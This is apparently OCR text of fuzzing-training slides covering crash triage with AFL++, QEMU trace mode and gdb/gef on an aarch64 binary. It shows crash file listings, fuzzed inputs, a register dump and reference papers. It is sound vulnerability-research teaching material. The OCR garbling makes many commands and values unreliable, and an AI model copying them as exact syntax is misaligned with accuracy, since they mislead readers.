Base64: ZnV6ev+qanr/qqokzapc/////yRmqlz/f///////aqarQeNDQBNDQENDQENDQENDQENDQONDQENDQBNDQENDQBNDQENDQENDQONDQENDQENDQENDQONDQENDQENDQENDQENDQONDQENDQONDQENDQENDQENDQBNDQAqqqqqaql
a0=

= S 1s
:000000,s19:11,src:000012+000017,time:92169,0p:splice,rep:64 1d:000016,s1g: :000027+000021,time:219680,0p:splice,rep:4
:000001,s19:11,src:000012+000017,time:92180,0 plice,re 6 1d:000017,sig: 00011+000029, time:272151,0 plice,re
:000002,s19:11,src:000012+000017,time:92202,0p:splice,rep:32 1d:000018,sig: :000012+000017,time:600185,0p:splice,rep:8
:000003,s19:11,src:000012+000017,time:92307,0 plice,re 1d:000019,sig:

000004,s1g:11,src:000012+000024,time:93694, 0| plice,re i

000005,s1g:11,src:000012+000024,time:93822, 0 plice,re

000006,s1g:11,src:000012+000024,time:94457,0 plice,re i i 00011, time:601645
000007,s1g:11,src:000012+000024,time:95612, 0| plice,re i i 00009+000017,time:611984,0
:000008,s19:11,src:000012+000024,time:95661,0 plice,re 1d:000024,sig: 00012+000021, time:645373,0

:000009,s19:11,src:000012+000024,time:95708,0p:splice,rep:8 1d:000025,sig: :000012+000028,time:656763,0p:splice,rep:16
:000010,s19:11,src:000012+000023,time:97017,0 plice,re 1d:000026,s1g: 00012+000030, time:709441,0 plice,re 4
:000011,s1g:11,src:000012+000023, time:98310,0p:splice,rep:4 1d:000027,sig: :000012+000021, time:742780,0p:splice,rep:2
:000012,s19:11,src:000012+000027,time:100301,0p:splice,rep:8 1d:000028,sig: 00011+000021,time:887371,0p:splice,rep:32
:000013,s19:11,src:000018+000025, time:106578,0p:splice,rep:2 1d:000029,sig: :000008+000025, time:1033823,0p:splice,rep:2
:000014,s19:11,src:000018+000025,time:108027,0p:splice,rep:32 README. txt

:000015,s19:11,src:000029,time:202322,0p:havoc,rep:2

$ s
libtesthello.c maiin.c README
hello_qiling.py libtest.c libtesthello.o
libclang_rt.ubsan_standalone-aarch64-android.so libtesthellol.o main.c
$ more crash-e91278b2e3b87e97039f1166f0fd8270a8b63as8d
Fuzzotmzolmsfu\ootmsfo\:nwul.tmooooaaovoouooaoooaooao¢oooua¢motmaooo(moo(ma'moofmooovaouooalmmmlmo@vaouovootmtmoatmooobfumoo'a

$ more 1d\:000001\ saa\Ysre
012+000017\,time\:92180\,0p\:splice\,rep
fuzzz%uozzzwffo fquzﬁ‘zzo ~zooo@ofofuzzzwff eeszzHizze~z022202220~~0000@0omk wwazg‘éAAa@ofoffffw




Lesson 4: introduction into fuzzing - Triaging crash analysis
e Running crashes

QEMU GDB option
o -g listenport

o 'E; E;()E;() $ ~/Desktop/AFLplusplus/afl-qemu-trace -g 8080 ./main afl_out

5/default/crashes/id\:000014\,sig\:11\, src\ 000018+000025\,time\:108027\,0p\:splice\,rep\:32

e Passing crash file



Lesson 4: introduction into fuzzing - Triaging crash analysis

e Running crashes

$ cd ~/Desktop/examples/fuzzing/test/
$ gdb-multiarch main

Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
(j k) | H r] This is free software: you are free to change and redistribute it.
G _mu t|arC There is NO WARRANTY, to the extent permitted by law.
Type "show copying” and "show warranty" for details.
This GDB was configured as "x86_64-1linux-gnu".
Type "show configuration" for configuration details.

For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.

o H L/ . : :
o (j k)_. | r] Find the GDB manual and other documentation resources online at:
g mu tlarc maln <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
for linux ready, type ‘gef' to start, ° ' to configure
o commands loaded for GDB 9.2 using Python engine
o Set arChlteCtu re aarCh64 for linux ready, type 'gef' to start, ° ' to configure
commands loaded for GDB 9.2 using Python engine
Reading symbols from aiats

o Gef-remote 127.0.0.1:8080 Sl el tines LI

The target architecture is assumed to be aarché64
gef-remote 127.0.0.1:8080
warning: remote target does not support file transfer, attempting to access files from local filesystem.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
in 22 ()

Connected to '127.0.0.1:8080'

Targeting PID=1

Remote information loaded to temporary path '/tmp/gef/1'




Lesson 4: introduction into fuzzing - Triaging crash analysis

Running crashes

Continue the process
-r\/F)EE IICYI

Dump registers

u]

I r

0x723

0x0

Ox1

Oxa

0x40

0x40100401

Ox3e
YANANANANANANANAT
0xd523379e4d939bbb
0xd523379e4d939bbb
0x4001

0x0

0x5501b814d8
0x55017f41d0
0x5501b81834

0x0

0x5501b9f2bo
0x5501b3e644
Ox80069ca
0x5500001674
0x5501803d88

0x2

0x5501803da0

0x0

0x0

0x0

0x0

0x0

0x0
0x6161616161616161
0x6161616161616161
0x55017f42do
0x61616161616161
Ox60000000

Ay

0x723

0x0

0x1

Oxa

0x40

0x40100401

Ox3e
OxX7f7f7f7f7f7f7f7f
0xd523379e4d939bbb
0xd523379e4d939bbb
0x4001

0x0

0x5501b814d8
0x55017f41d0
0x5501b81834

0x0

0x5501b9f2bo
0x5501b3e644
Ox80069ca
0x5500001674
0x5501803d88

0x2

0x5501803da0

0x0

0x0

0x0

0x0

0x0

ox0
0x6161616161616161
0x6161616161616161
0x55017f42d0
0x61616161616161
Ox60000000

Ay




Lesson 4: Wrap-up

e Summarise important points.
e Allow time for questions.



Summary of Training

e List important points from each lesson

» References and further reading

o https://www.blackhat.com/docs/eu-15/materials/eu-15-Blanda-Fuzzing-
Android-A-Recipe-For-Uncovering-Vulnerabilities-Inside-System-
Components-In-Android-wp.pdf

o https://www.usenix.org/system/files/sec20fall liu prepub.pdf

o https://www.blackhat.com/docs/us-15/materials/us-15-Drake-Stagefright-
Scary-Code-In-The-Heart-Of-Android.pdf



https://www.blackhat.com/docs/eu-15/materials/eu-15-Blanda-Fuzzing-Android-A-Recipe-For-Uncovering-Vulnerabilities-Inside-System-Components-In-Android-wp.pdf
https://www.usenix.org/system/files/sec20fall_liu_prepub.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Drake-Stagefright-Scary-Code-In-The-Heart-Of-Android.pdf

Assessment and Evaluation

e Please fill in the Black Hat survey

e See you tomorrow!



